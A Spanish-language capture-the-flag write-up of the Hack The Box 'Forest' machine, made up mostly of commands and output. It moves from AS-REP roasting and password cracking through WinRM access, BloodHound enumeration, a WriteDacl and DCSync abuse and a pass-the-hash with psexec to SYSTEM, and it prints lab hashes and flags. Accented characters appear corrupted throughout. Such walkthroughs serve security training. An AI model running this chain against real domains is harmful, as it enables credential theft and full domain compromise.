Conocimientos
-
Consultas DNS
-
Enumeraci贸n por RPC
-
ASPRepRoast Attack
-
Enumeraci贸n con BloodHound
-
Abuso del grupo Account Operators (Escalada de Privilegios)
-
Abuso del privilegio WriteDacl (Escalada de Privilegios)
-
DCSync Attack
-
PassTheHash
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.10.161 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-15 14:44 GMT
Nmap scan report for 10.10.10.161
Host is up (0.056s latency).
Not shown: 65322 closed tcp ports (reset), 189 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49671/tcp open unknown
49676/tcp open unknown
49677/tcp open unknown
49684/tcp open unknown
49703/tcp open unknown
49929/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 21.88 seconds
Escaneo de versi贸n y servicios de cada puerto
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49676,49677,49684,49703,49929 10.10.10.161 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-15 14:45 GMT
Nmap scan report for 10.10.10.161
Host is up (0.34s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-02-15 14:52:11Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
49929/tcp open msrpc Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h46m50s, deviation: 4h37m09s, median: 6m48s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2023-02-15T06:53:08-08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-time:
| date: 2023-02-15T14:53:09
|_ start_date: 2023-02-15T08:58:02
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.54 seconds
A帽ado el dominio htb.local al /etc/hosts
Puerto 53 (DNS)
Pruebo a efectuar un ataque de transferencia de zona, con el fin de encontrar nuevos DNS records
dig @10.10.10.161 htb.local axfr
; <<>> DiG 9.18.8-1-Debian <<>> @10.10.10.161 htb.local axfr
; (1 server found)
;; global options: +cmd
; Transfer failed.
No encuentro nada, pero si enumerando los servidores de correo
dig @10.10.10.161 htb.local mx
; <<>> DiG 9.18.8-1-Debian <<>> @10.10.10.161 htb.local mx
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12912
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
; COOKIE: 0613e71a046bcc56 (echoed)
;; QUESTION SECTION:
;htb.local. IN MX
;; AUTHORITY SECTION:
htb.local. 3600 IN SOA forest.htb.local. hostmaster.htb.local. 106 900 600 86400 3600
;; Query time: 175 msec
;; SERVER: 10.10.10.161#53(10.10.10.161) (UDP)
;; WHEN: Wed Feb 15 14:47:57 GMT 2023
;; MSG SIZE rcvd: 104
A帽ado estos subdominos al /etc/hosts
Puerto 445 (SMB)
Con crackmapexec aplico un escano para detectar dominio, hostname y versiones
crackmapexec smb 10.10.10.161
SMB 10.10.10.161 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
No puedo listar los recursos compartidos
smbmap -H 10.10.10.161 -u 'null'
[!] Authentication error on 10.10.10.161
Puerto 135 (RPC)
Puedo conectarme con rpcclient haciendo uso de un null sesion
rpcclient 10.10.10.161 -U "" -N
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
user:[john] rid:[0x2582]
user:[whytho] rid:[0x2583]
rpcclient $>
Almaceno a todos los usuarios en un diccionario
rpcclient 10.10.10.161 -U "" -N -c 'enumdomusers' | grep -oP '\[.*?\]' | tr -d "[]" | grep -v "0x" > users
Los valido con kerbrute y uno de ellos es ASPReproasteable (No requiere de autenticaci贸n previa de Kerberos)
kerbrute userenum -d htb.local --dc 10.10.10.161 users
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 02/15/23 - Ronnie Flathers @ropnop
2023/02/15 14:54:58 > Using KDC(s):
2023/02/15 14:54:58 > 10.10.10.161:88
2023/02/15 14:54:59 > [+] VALID USERNAME: Administrator@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: HealthMailboxc3d7722@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: HealthMailboxfd87238@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: HealthMailbox83d6781@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: HealthMailboxfc9daad@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: HealthMailboxc0a90c9@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: HealthMailbox968e74d@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: HealthMailbox670628e@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: HealthMailbox6ded678@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: HealthMailbox7108a4e@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: andy@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: santi@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: mark@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: lucinda@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: HealthMailbox0659cc1@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: sebastien@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: HealthMailboxb01ac64@htb.local
2023/02/15 14:54:59 > [+] svc-alfresco has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$svc-alfresco@HTB.LOCAL:214fa04454fa11ccc3fee28f4db1ab4b$c9cc1bd3141862f827fb04ad84f74fb60934d3ef7cb6c06c1cb4f62d283ecd716b4bd1c65798a609a6ee0d45a8031510c05daca17b1ce0339ea714255ddf86f075ced2dd8edeed77d063023b021b84d1b805e4147b85e66b85f718813c74646e012101ff35d93f4937ecc3f792468498da21a8971a11d3e9c0cd460d1a20c0804802e267ff1f9478bae1d1140baa1d64ab545996657ce95b058ff8a0b4e71c272745d703bfc44c47ac00b8db66b8ca019afde9686784dc54ba0f3f66ac9d0334b715c793dcf97040bbf5761f1912fa994099b2591cda46bb3f1f899bdadfa2d23b56906d3df1ae45aef60af25771c55c1d8f55a2c2ccdbed5ef2
2023/02/15 14:54:59 > [+] VALID USERNAME: svc-alfresco@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: whytho@htb.local
2023/02/15 14:54:59 > [+] VALID USERNAME: john@htb.local
2023/02/15 14:54:59 > Done! Tested 33 usernames (20 valid) in 1.026 seconds
Almaceno el hash en un archivo y lo crackeo con john
john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice ($krb5asrep$23$svc-alfresco@HTB.LOCAL)
1g 0:00:00:03 DONE (2023-02-15 14:59) 0.2857g/s 1167Kp/s 1167Kc/s 1167KC/s s4552525..s3r1bu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Teniendo la contrase帽a, la valido por SMB
crackmapexec smb 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
SMB 10.10.10.161 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB 10.10.10.161 445 FOREST [+] htb.local\svc-alfresco:s3rvice
En caso de que pertenezca al grupo Remote Management Users me podr茅 conectar por winrm
crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
SMB 10.10.10.161 5985 FOREST [*] Windows 10.0 Build 14393 (name:FOREST) (domain:htb.local)
HTTP 10.10.10.161 5985 FOREST [*] http://10.10.10.161:5985/wsman
WINRM 10.10.10.161 5985 FOREST [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)
Gano acceso al sistema
evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
Puedo visualizar la primera flag
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type user.txt
e02256aff4a5126160e00e45e0b2f4a4
Escalada
Subo el ingestor SharpHound.exe para crear un zip con los datos necesarios para buscar formas de escalar privilegios desde BloodHound
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> upload /opt/SharpHound.exe
Info: Uploading /opt/SharpHound.exe to C:\Users\svc-alfresco\Desktop\SharpHound.exe
Data: 1211048 bytes of 1211048 bytes copied
Info: Upload successful!
```null
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> .\SharpHound.exe
2023-02-15T07:13:19.4881998-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2023-02-15T07:13:19.4881998-08:00|INFORMATION|Initializing SharpHound at 7:13 AM on 2/15/2023
2023-02-15T07:13:20.4725459-08:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2023-02-15T07:13:22.1131737-08:00|INFORMATION|Beginning LDAP search for htb.local
2023-02-15T07:13:22.4100460-08:00|INFORMATION|Producer has finished, closing LDAP channel
2023-02-15T07:13:22.4100460-08:00|INFORMATION|LDAP channel closed, waiting for consumers
2023-02-15T07:13:52.1132626-08:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 45 MB RAM
2023-02-15T07:14:07.8476407-08:00|INFORMATION|Consumers finished, closing output channel
2023-02-15T07:14:07.8945148-08:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2023-02-15T07:14:08.1445704-08:00|INFORMATION|Status: 163 objects finished (+163 3.543478)/s -- Using 68 MB RAM
2023-02-15T07:14:08.1445704-08:00|INFORMATION|Enumeration finished in 00:00:46.0452993
2023-02-15T07:14:08.2545806-08:00|INFORMATION|SharpHound Enumeration Completed at 7:14 AM on 2/15/2023! Happy Graphing!
Descargo el comprimido y lo subo al neo4j
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> download C:\Users\svc-alfresco\Desktop\20230215071407_BloodHound.zip /home/rubbx/Desktop/HTB/Machines/Forest/bh.zip
Info: Downloading C:\Users\svc-alfresco\Desktop\20230215071407_BloodHound.zip to /home/rubbx/Desktop/HTB/Machines/Forest/bh.zip
Info: Download successful!
El vector de ataque ser铆a el siguiente
Al tener un usuario que pertenece al grupo Account Operators, es posible crear otro usuario e incorporarlo en otros grupos, ya que tiene GenericAll sobre otro grupo que a su vez tiene WriteDacl sobre el dominio, por lo que puedo tratar de efectuar un DCSync Attack para dumpearme el NTDS y convertirme en Domain Admin
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net user rubbx rubbx123 /add /domain
The command completed successfully.
Para asignarle los privilegios necesarios para hacer el DCSync, tengo que a帽adirlo al grupo que puede hacer WriteDacl y modificar sus atributos para que pueda efectuar el DCSync
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net group "Exchange Windows Permissions" rubbx /add
The command completed successfully.
Creo unas PSCredentials
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> $SecPassword = ConvertTo-SecureString 'rubbx123' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> $Cred = New-Object System.Management.Automation.PSCredential('htb.local\rubbx', $SecPassword)
Subo el PowerView.ps1 a la m谩quina v铆ctima
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> upload /opt/PowerSploit/Recon/PowerView.ps1
Info: Uploading /opt/PowerSploit/Recon/PowerView.ps1 to C:\Users\svc-alfresco\Desktop\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> Import-Module .\PowerView.ps1
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -Rights DCSync -PrincipalIdentity rubbx
Ahora ya puedo dumpear el NTDS para hacer PassTheHash
impacket-secretsdump htb.local/rubbx:rubbx123@10.10.10.161 | grep Administrator
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
htb.local\Administrator:aes128-cts-hmac-sha1-96:b5880b186249a067a5f6b814a23ed375
htb.local\Administrator:des-cbc-md5:c1e049c71f57343b
Me conecto y veo la segunda flag
impacket-psexec htb.local/Administrator@10.10.10.161 -hashes :32693b11e6aa90eb43d32c72a07ceea6
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Requesting shares on 10.10.10.161.....
[*] Found writable share ADMIN$
[*] Uploading file GsulebbO.exe
[*] Opening SVCManager on 10.10.10.161.....
[*] Creating service nfus on 10.10.10.161.....
[*] Starting service nfus.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
e22a875d7ed259bdd469658eeeabadd5